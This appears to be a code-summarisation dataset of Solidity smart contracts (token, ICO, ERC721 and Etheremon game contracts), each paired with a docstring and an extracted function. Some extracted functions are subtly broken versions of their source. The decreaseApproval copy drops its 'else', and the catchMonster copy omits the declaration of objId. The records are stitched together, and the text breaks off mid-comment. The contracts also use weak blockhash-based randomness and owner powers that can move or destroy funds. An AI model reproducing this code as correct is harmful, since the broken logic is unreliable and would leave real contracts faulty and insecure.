approve should be called when allowance[_spender] == 0. To decrement * allowance value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) validAddress unlocked public returns (bool success) { uint256 oldValue = allowance[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = SafeMath.safeSub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } /* Send coins */ function transfer(address _to, uint256 _value) validAddress unlocked returns (bool success) { _transfer(msg.sender, _to, _value); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0)); require(_value > 0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) validAddress unlocked returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance require(_value > 0); allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); _transfer(_from, _to, _value); return true; } function burn(uint256 _value) validAddress unlocked returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply currentSupply = SafeMath.safeSub(currentSupply,_value); // Updates currentSupply Burn(msg.sender, _value); return true; } function freeze(uint256 _value) validAddress unlocked returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) validAddress unlocked returns (bool success) { require(freezeOf[msg.sender] >= _value); // Check if the sender has enough require(_value > 0); freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); // Updates totalSupply Unfreeze(msg.sender, _value); return true; } function setTokenExchangeRate(uint256 _tokenExchangeRate) onlyOwner external { require(_tokenExchangeRate > 0); require(_tokenExchangeRate != tokenExchangeRate); tokenExchangeRate = _tokenExchangeRate; } function setName(string _name) onlyOwner { name = _name; } function setSymbol(string _symbol) onlyOwner { symbol = _symbol; } /** * @dev Function to lock token transfers * @param _newLockState New lock state * @return A boolean that indicates if the operation was successful. */ function setLock(bool _newLockState) onlyOwner public returns (bool success) { require(_newLockState != locked); locked = _newLockState; return true; } function transferETH() onlyOwner external { require(this.balance > 0); require(owner.send(this.balance)); } // transfer balance to owner function withdrawEther(uint256 amount) onlyOwner { require(msg.sender == owner); owner.transfer(amount); } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract */ function() payable public { require(msg.sender != address(0)); require(msg.value > 0); uint256 tokens = SafeMath.safeMult(msg.value, tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = SafeMath.safeAdd(tokenRaised, tokens); balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], tokens); balanceOf[owner] = SafeMath.safeSub(balanceOf[owner], tokens); IssueToken(msg.sender, tokens); } }
Decrease the amount of tokens that an owner allowance to a spender. approve should be called when allowance[_spender] == 0. To decrement allowance value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) _spender The address which will spend the funds. _subtractedValue The amount of tokens to decrease the allowance by./
function decreaseApproval(address _spender, uint256 _subtractedValue) validAddress unlocked public returns (bool success) { uint256 oldValue = allowance[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowance[msg.sender][_spender] = 0; allowance[msg.sender][_spender] = SafeMath.safeSub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; }
1,843,260
pragma solidity 0.8.0; import "../token/Token.sol"; contract ResolveableToken is Token { // admin transfer extension for erc20 address public resolver; // account managing token balances event TransferResolver(address indexed resolver); modifier onlyResolver { require(msg.sender == resolver, "!resolver"); _; } constructor(address _resolver) { resolver = _resolver; } function renounceResolver() external onlyResolver { // renounce resolver account resolver = address(0); emit TransferResolver(address(0)); } function resolve(address from, address to, uint256 value) external onlyResolver { // resolve token balances _transfer(from, to, value); } function transferResolver(address _resolver) external onlyResolver { // transfer resolver account resolver = _resolver; emit TransferResolver(_resolver); } }
transfer resolver account
function transferResolver(address _resolver) external onlyResolver {
7,301,631
./partial_match/80001/0x68e42D299Da641F2568e1AaCC640C71619603DF0/sources/AlchemistTradingRegistrar.sol
Get default token value/
function getDefaultToken() public view returns(bytes32) { return DEFAULT_TOKEN; }
8,808,457
pragma solidity ^0.4.23; contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract EtheremonEnum { enum ResultCode { SUCCESS, ERROR_CLASS_NOT_FOUND, ERROR_LOW_BALANCE, ERROR_SEND_FAIL, ERROR_NOT_TRAINER, ERROR_NOT_ENOUGH_MONEY, ERROR_INVALID_AMOUNT } enum ArrayType { CLASS_TYPE, STAT_STEP, STAT_START, STAT_BASE, OBJ_SKILL } enum PropertyType { ANCESTOR, XFACTOR } } interface EtheremonDataBase { function addMonsterObj(uint32 _classId, address _trainer, string _name) external returns(uint64); function addElementToArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint8 _value) external returns(uint); // read function getElementInArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint _index) constant external returns(uint8); function getMonsterClass(uint32 _classId) constant external returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable); } contract EtheremonExternalPayment is EtheremonEnum, BasicAccessControl { uint8 constant public STAT_COUNT = 6; uint8 constant public STAT_MAX = 32; struct MonsterClassAcc { uint32 classId; uint256 price; uint256 returnPrice; uint32 total; bool catchable; } address public dataContract; uint public gapFactor = 0.001 ether; uint16 public priceIncreasingRatio = 1000; uint seed = 0; event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); function setDataContract(address _contract) onlyOwner public { dataContract = _contract; } function setPriceIncreasingRatio(uint16 _ratio) onlyModerators external { priceIncreasingRatio = _ratio; } function setFactor(uint _gapFactor) onlyOwner public { gapFactor = _gapFactor; } function withdrawEther(address _sendTo, uint _amount) onlyOwner public { // no user money is kept in this contract, only trasaction fee if (_amount > address(this).balance) { revert(); } _sendTo.transfer(_amount); } function getRandom(address _player, uint _block, uint _seed, uint _count) constant public returns(uint) { return uint(keccak256(abi.encodePacked(blockhash(_block), _player, _seed, _count))); } function catchMonster(address _player, uint32 _classId, string _name) onlyModerators external payable returns(uint tokenId) { EtheremonDataBase data = EtheremonDataBase(dataContract); MonsterClassAcc memory class; (class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId); if (class.classId == 0 || class.catchable == false) { revert(); } uint price = class.price; if (class.total > 0) price += class.price*(class.total-1)/priceIncreasingRatio; if (msg.value + gapFactor < price) { revert(); } // add new monster uint64 objId = data.addMonsterObj(_classId, _player, _name); uint8 value; seed = getRandom(_player, block.number, seed, objId); // generate base stat for the previous one for (uint i=0; i < STAT_COUNT; i+= 1) { value = uint8(seed % STAT_MAX) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i); data.addElementToArrayType(ArrayType.STAT_BASE, objId, value); } emit Transfer(address(0), _player, objId); return objId; } // public function getPrice(uint32 _classId) constant external returns(bool catchable, uint price) { EtheremonDataBase data = EtheremonDataBase(dataContract); MonsterClassAcc memory class; (class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId); price = class.price; if (class.total > 0) price += class.price*(class.total-1)/priceIncreasingRatio; return (class.catchable, price); } }
generate base stat for the previous one
function catchMonster(address _player, uint32 _classId, string _name) onlyModerators external payable returns(uint tokenId) { EtheremonDataBase data = EtheremonDataBase(dataContract); MonsterClassAcc memory class; (class.classId, class.price, class.returnPrice, class.total, class.catchable) = data.getMonsterClass(_classId); if (class.classId == 0 || class.catchable == false) { revert(); } uint price = class.price; if (class.total > 0) price += class.price*(class.total-1)/priceIncreasingRatio; if (msg.value + gapFactor < price) { revert(); } uint8 value; seed = getRandom(_player, block.number, seed, objId); for (uint i=0; i < STAT_COUNT; i+= 1) { value = uint8(seed % STAT_MAX) + data.getElementInArrayType(ArrayType.STAT_START, uint64(_classId), i); data.addElementToArrayType(ArrayType.STAT_BASE, objId, value); } emit Transfer(address(0), _player, objId); return objId; }
5,452,712
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract EBanker is owned { // Public variables of the token string public name = "EBanker"; string public symbol = "EBC"; uint8 public decimals = 18; uint256 public totalSupply = 0; uint256 public sellPrice = 1065; uint256 public buyPrice = 1065; bool public released = false; /// contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public crowdsaleAgent; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function EBanker() public { } modifier canTransfer() { require(released); _; } modifier onlyCrowdsaleAgent() { require(msg.sender == crowdsaleAgent); _; } function releaseTokenTransfer() public onlyCrowdsaleAgent { released = true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) canTransfer internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) canTransfer public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } /// @dev Set the contract that can call release and make the token transferable. /// @param _crowdsaleAgent crowdsale contract address function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public { crowdsaleAgent = _crowdsaleAgent; } } contract Killable is owned { function kill() onlyOwner { selfdestruct(owner); } } contract EBankerICO is owned, Killable { /// The token we are selling EBanker public token; /// Current State Name string public state = "Pre ICO"; /// the UNIX timestamp start date of the crowdsale uint public startsAt = 1521748800; /// the UNIX timestamp end date of the crowdsale uint public endsAt = 1522612800; /// the price of token uint256 public TokenPerETH = 1065; /// per user limit of buying tokens. uint256 public LimitPerUserEBC = 100000 * 10 ** 18; /// Has this crowdsale been finalized bool public finalized = false; /// the number of tokens already sold through this contract uint public tokensSold = 0; /// the number of ETH raised through this contract uint public weiRaised = 0; /// How many distinct addresses have invested uint public investorCount = 0; /// How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; /// How much tokens this crowdsale has credited for each investor address mapping (address => uint256) public tokenAmountOf; /// A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount); /// Crowdsale end time has been changed event EndsAtChanged(uint endsAt); /// Calculated new price event RateChanged(uint oldValue, uint newValue); function EBankerICO(address _token) { token = EBanker(_token); } function investInternal(address receiver) private { require(!finalized); require(startsAt <= now && endsAt > now); require(tokenAmountOf[receiver] + msg.value * TokenPerETH <= LimitPerUserEBC); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor uint tokensAmount = msg.value * TokenPerETH; investedAmountOf[receiver] += msg.value; tokenAmountOf[receiver] += tokensAmount; // Update totals tokensSold += tokensAmount; weiRaised += msg.value; // Tell us invest was success Invested(receiver, msg.value, tokensAmount); token.mintToken(receiver, tokensAmount); } function buy() public payable { investInternal(msg.sender); } function() payable { buy(); } function setEndsAt(uint time) onlyOwner { require(!finalized); endsAt = time; EndsAtChanged(endsAt); } function setRate(uint value) onlyOwner { require(!finalized); require(value > 0); RateChanged(TokenPerETH, value); TokenPerETH = value; } function finalize(address receiver) public onlyOwner { // Finalized Pre ICO crowdsele. finalized = true; // Make tokens Transferable token.releaseTokenTransfer(); // Transfer Fund to owner&#39;s address receiver.transfer(this.balance); } }
The token we are selling Current State Name the UNIX timestamp start date of the crowdsale the UNIX timestamp end date of the crowdsale the price of token per user limit of buying tokens. Has this crowdsale been finalized the number of tokens already sold through this contract the number of ETH raised through this contract How many distinct addresses have invested How much ETH each address has invested to this crowdsale How much tokens this crowdsale has credited for each investor address A new investment was made Crowdsale end time has been changed Calculated new price
function EBankerICO(address _token) { token = EBanker(_token); }
1,969,912
pragma solidity ^0.6.0; /** * @title Primitive's Prime Contract * @notice The core ERC721 contract that holds all Instruments.Primes. * A Prime is a ERC-721 token that wraps ERC-20 assets * with functions to interact with them. * @author Primitive */ /** * @title Primitive's Instruments * @author Primitive Finance */ library Instruments { /** * @dev A Prime has these properties. * @param ace `msg.sender` of the createPrime function. * @param xis Quantity of collateral asset token. * @param yak Address of collateral asset token. * @param zed Purchase price of collateral, denominated in quantity of token z. * @param wax Address of purchase price asset token. * @param pow UNIX timestamp of valid time period. * @param gem Address of payment receiver of token z. */ struct Primes { address ace; uint256 xis; address yak; uint256 zed; address wax; uint256 pow; address gem; bytes4 chain; bytes4 fullChain; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { bool private _notEntered; constructor () internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either {approve} or {setApprovalForAll}. */ function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ abstract contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public virtual returns (bytes4); } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * 